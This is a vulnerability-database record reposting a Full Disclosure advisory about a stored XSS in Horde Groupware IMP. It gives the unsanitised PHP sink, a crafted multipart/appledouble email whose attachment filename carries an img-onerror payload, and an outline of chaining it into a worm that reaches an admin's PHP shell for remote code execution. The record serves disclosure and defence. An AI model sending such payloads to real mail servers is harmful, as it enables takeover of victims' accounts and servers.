GCVE-1988-2026-0380
Vulnerability from gna-1988 – Published: 2026-09-11 08:27 – Updated: 2026-09-11 08:27
VLAI
EPSS
VEX
Title
FD - Half-click unauthenticated remote code execution on Horde Groupware IMP (from a stored XSS)
Summary
https://blog.evan.lat/posts/CVE-2026-65053/
the blog talks about two vulns that are chainable together. for the sake of
brevity ill write up on the stored xss one.
in lib/Mime/Status.php, we see a pretty viable xss sink:
$out .= '<tr><td>' . $val . '</td></tr>';
xrefing this we see that most impls are sanitized with the exception of
lib/Mime/Viewer/Appledouble.php:
$data_name = $this->getConfigParam('imp_contents')->getPartName($data_part);
// ...
sprintf(_("This message contains a Macintosh file (named \"%s\")."),
$data_name)
exploiting this is trivial obviously. we just need to craft an email like
this:
From: d () x com
To: victim () target com
Subject: mac file
MIME-Version: 1.0
Content-Type: multipart/appledouble; boundary="BOUND"
--BOUND
Content-Type: application/applefile
Content-Transfer-Encoding: base64
cmVzb3VyY2UtZm9yay1ieXRlcw==
--BOUND
Content-Type: application/octet-stream; name="<img src=x
onerror=alert('hi')>"
Content-Disposition: attachment; filename="<img src=x onerror=alert('hu2')>"
Content-Transfer-Encoding: base64
ZGF0YS1mb3JrLWJ5dGVz
--BOUND--
given the nature of this xss it is very much wormable and turns our
existing arb file read to a half click exploit. obviously we wouldnt really
want to use a half click primitive just to read files (although grabbing db
creds is very trivial with these two vulns chained), so naturally we can
try to achieve rce with this xss worm primitive.
to get an rce from this is easy. we can either target an admin or craft an
xss worm thatll eventually reach an admin. admins can access a PHP shell
which let us run arbitrary php code, so we can simply use the xss to hit
the PHP shell at /horde/admin/phpshell.php
this constitutes a half click since the user simply needs to click on the
email to trigger the xss in question. an exp poc is provided in the blog.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Aug/115 | technical-description |
| https://blog.evan.lat/posts/CVE-2026-65053/ | |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| unknown | FD - Half-click |
Affected:
unknown
|
guessed |
Relationships
analysis
GCVE-1988-2026-0380 (this record)
- related CVE-2026-65053
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"value": "https://blog.evan.lat/posts/CVE-2026-65053/\n\nthe blog talks about two vulns that are chainable together. for the sake of\nbrevity ill write up on the stored xss one.\n\nin lib/Mime/Status.php, we see a pretty viable xss sink:\n\n$out .= \u0027\u003ctr\u003e\u003ctd\u003e\u0027 . $val . \u0027\u003c/td\u003e\u003c/tr\u003e\u0027;\n\nxrefing this we see that most impls are sanitized with the exception of\nlib/Mime/Viewer/Appledouble.php:\n\n$data_name = $this-\u003egetConfigParam(\u0027imp_contents\u0027)-\u003egetPartName($data_part);\n// ...\nsprintf(_(\"This message contains a Macintosh file (named \\\"%s\\\").\"),\n$data_name)\n\nexploiting this is trivial obviously. we just need to craft an email like\nthis:\n\nFrom: d () x com\nTo: victim () target com\nSubject: mac file\nMIME-Version: 1.0\nContent-Type: multipart/appledouble; boundary=\"BOUND\"\n\n--BOUND\nContent-Type: application/applefile\nContent-Transfer-Encoding: base64\n\ncmVzb3VyY2UtZm9yay1ieXRlcw==\n\n--BOUND\nContent-Type: application/octet-stream; name=\"\u003cimg src=x\nonerror=alert(\u0027hi\u0027)\u003e\"\nContent-Disposition: attachment; filename=\"\u003cimg src=x onerror=alert(\u0027hu2\u0027)\u003e\"\nContent-Transfer-Encoding: base64\n\nZGF0YS1mb3JrLWJ5dGVz\n\n--BOUND--\ngiven the nature of this xss it is very much wormable and turns our\nexisting arb file read to a half click exploit. obviously we wouldnt really\nwant to use a half click primitive just to read files (although grabbing db\ncreds is very trivial with these two vulns chained), so naturally we can\ntry to achieve rce with this xss worm primitive.\n\n\nto get an rce from this is easy. we can either target an admin or craft an\nxss worm thatll eventually reach an admin. admins can access a PHP shell\nwhich let us run arbitrary php code, so we can simply use the xss to hit\nthe PHP shell at /horde/admin/phpshell.php\n\n\nthis constitutes a half click since the user simply needs to click on the\nemail to trigger the xss in question. an exp poc is provided in the blog.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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